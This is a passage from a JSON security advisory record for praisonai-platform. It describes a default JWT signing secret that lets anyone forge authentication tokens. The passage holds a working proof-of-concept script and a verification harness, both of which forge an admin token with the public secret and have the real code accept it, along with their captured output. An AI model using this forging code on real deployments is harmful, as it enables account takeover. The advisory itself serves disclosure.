{sha}\u0027)\n    print(f\u0027    JWT_ALGORITHM:   {auth_service.JWT_ALGORITHM!r}\u0027)\n\n    if auth_service.JWT_SECRET != \u0027dev-secret-change-me\u0027:\n        print(\u0027UNEXPECTED \u2014 JWT_SECRET is not the public literal.\u0027)\n        return 1\n\n    import jwt\n    from datetime import datetime, timedelta, timezone\n\n    now = datetime.now(timezone.utc)\n    forged_payload = {\n        \u0027sub\u0027: \u0027admin-user-id-attacker-chose\u0027,\n        \u0027email\u0027: \u0027admin@example.com\u0027,\n        \u0027name\u0027: \u0027Spoofed Admin\u0027,\n        \u0027iat\u0027: now,\n        \u0027exp\u0027: now + timedelta(seconds=3600),\n    }\n    forged_token = jwt.encode(forged_payload, auth_service.JWT_SECRET, algorithm=auth_service.JWT_ALGORITHM)\n    print()\n    print(\u0027[3] forge a JWT signed with the live JWT_SECRET\u0027)\n    print(f\u0027    forged head: {forged_token[:70]}...\u0027)\n\n    decoded = jwt.decode(forged_token, auth_service.JWT_SECRET, algorithms=[auth_service.JWT_ALGORITHM])\n    print()\n    print(\u0027[4] jwt.decode(forged_token, JWT_SECRET) \u2014 same call as AuthService._verify_token\u0027)\n    print(f\u0027    decoded.sub  = {decoded.get(\"sub\")}\u0027)\n    print(f\u0027    decoded.email= {decoded.get(\"email\")}\u0027)\n\n    if decoded.get(\u0027sub\u0027) != \u0027admin-user-id-attacker-chose\u0027:\n        print(\u0027UNEXPECTED \u2014 decoded payload mismatched.\u0027)\n        return 1\n\n    try:\n        svc = auth_service.AuthService(session=None)\n        identity = svc._verify_token(forged_token)\n    except Exception as e:\n        print(f\u0027    (Couldn\\\u0027t reach _verify_token: {e!r})\u0027)\n        identity = None\n\n    if identity is not None:\n        print()\n        print(\u0027[5] AuthService._verify_token(forged_token) (live method call)\u0027)\n        print(f\u0027    identity.id    = {identity.id}\u0027)\n        print(f\u0027    identity.email = {identity.email}\u0027)\n\n    print()\n    print(\"VULNERABLE: praisonai-platform defaults JWT_SECRET to the public\")\n    print(\"            literal \u0027dev-secret-change-me\u0027.  The line-33 guard only\")\n    print(\"            refuses startup when PLATFORM_ENV is explicitly non-\u0027dev\u0027\")\n    print(\u0027            AND the secret is default \u2014 operators who forgot to set\u0027)\n    print(\u0027            the env var entirely are silently in dev mode.\u0027)\n    print(\u0027VERDICT: VULNERABLE\u0027)\n    return 0\n\nif __name__ == \u0027__main__\u0027:\n    sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, importlib.util, os\nos.environ.pop(\"PLATFORM_JWT_SECRET\", None); os.environ.pop(\"PLATFORM_ENV\", None)  # default deploy\nBASE = os.path.abspath(\"repos/PraisonAI/src/praisonai-platform\")\ndef pkg(name, path=None):\n    m=types.ModuleType(name)\n    if path: m.__path__=[path]\n    sys.modules[name]=m; return m\ndef stub(name, **a):\n    m=types.ModuleType(name); [setattr(m,k,v) for k,v in a.items()]; sys.modules[name]=m\npkg(\"praisonai_platform\", BASE+\"/praisonai_platform\")\npkg(\"praisonai_platform.services\", BASE+\"/praisonai_platform/services\")\npkg(\"praisonai_platform.db\", BASE+\"/praisonai_platform/db\")\nstub(\"praisonai_platform.db.models\", Member=type(\"Member\",(),{}), User=type(\"User\",(),{}))\nstub(\"sqlalchemy\", select=lambda *a,**k:None)\nsa_async=types.ModuleType(\"sqlalchemy.ext.asyncio\"); sa_async.AsyncSession=type(\"AsyncSession\",(),{}); sys.modules[\"sqlalchemy.ext.asyncio\"]=sa_async; sys.modules[\"sqlalchemy.ext\"]=types.ModuleType(\"sqlalchemy.ext\")\nstub(\"passlib\"); stub(\"passlib.context\", CryptContext=type(\"CryptContext\",(),{\"__init__\":lambda s,*a,**k:None,\"hash\":lambda s,x:x,\"verify\":lambda s,a,b:a==b}))\nstub(\"praisonaiagents\")\nclass AuthIdentity:\n    def __init__(self,id,type=None,email=None,name=None): self.id=id; self.type=type; self.email=email; self.name=name\nstub(\"praisonaiagents.auth\", AuthIdentity=AuthIdentity)\n\nspec=importlib.util.spec_from_file_location(\"praisonai_platform.services.auth_service\", BASE+\"/praisonai_platform/services/auth_service.py\")\nmod=importlib.util.module_from_spec(spec); mod.__package__=\"praisonai_platform.services\"\nsys.modules[spec.name]=mod; spec.loader.exec_module(mod)   # REAL auth_service.py\n\nprint(\"[*] REAL module JWT_SECRET =\", repr(mod.JWT_SECRET), \"| _DEFAULT_SECRET =\", repr(mod._DEFAULT_SECRET))\nAuthService=mod.AuthService\nsvc=AuthService.__new__(AuthService)                       # bypass DB __init__\nFakeUser=type(\"U\",(),{\"id\":\"attacker-id\",\"email\":\"attacker@evil.test\",\"name\":\"admin\"})\ntok=svc._issue_token(FakeUser)                              # REAL _issue_token (default secret)\nprint(\"[*] REAL _issue_token -\u003e\", tok[:46],\"...\")\nident=svc._verify_token(tok)                                # REAL _verify_token\nprint(\"[+] REAL _verify_token -\u003e\", {\"id\":ident.id,\"email\":ident.email,\"name\":ident.name})\nassert ident and ident.id==\"attacker-id\" and mod.JWT_SECRET==\"dev-secret-change-me\"\nprint(\"[+] CONFIRMED against real praisonai-platform repo: default \u0027dev-secret-change-me\u0027 issues+verifies a token via the repo\u0027s own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to \u0027dev\u0027)\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] REAL module JWT_SECRET = \u0027dev-secret-change-me\u0027 | _DEFAULT_SECRET = \u0027dev-secret-change-me\u0027\n[*] REAL _issue_token -\u003e eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiO ...\n[+] REAL _verify_token -\u003e {\u0027id\u0027: \u0027attacker-id\u0027, \u0027email\u0027: \u0027attacker@evil.test\u0027, \u0027name\u0027: \u0027admin\u0027}\n[+] CONFIRMED against real praisonai-platform repo: default \u0027dev-secret-change-me\u0027 issues+verifies a token via the repo\u0027s own _issue_token/_verify_token (guard skipped because PLATFORM_ENV defaults to \u0027dev\u0027)\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
  "id": "PYSEC-2026-3524",
  "modified": "2026-07-23T14:32:26.967716Z",
  "published": "2026-07-23T11:41:44.446075Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-cwj8-7gp2-ggcw"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/praisonai-platform"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-cwj8-7gp2-ggcw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57147"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "praisonai-platform: default JWT signing secret \u0027dev-secret-change-me\u0027 enables token forgery"
}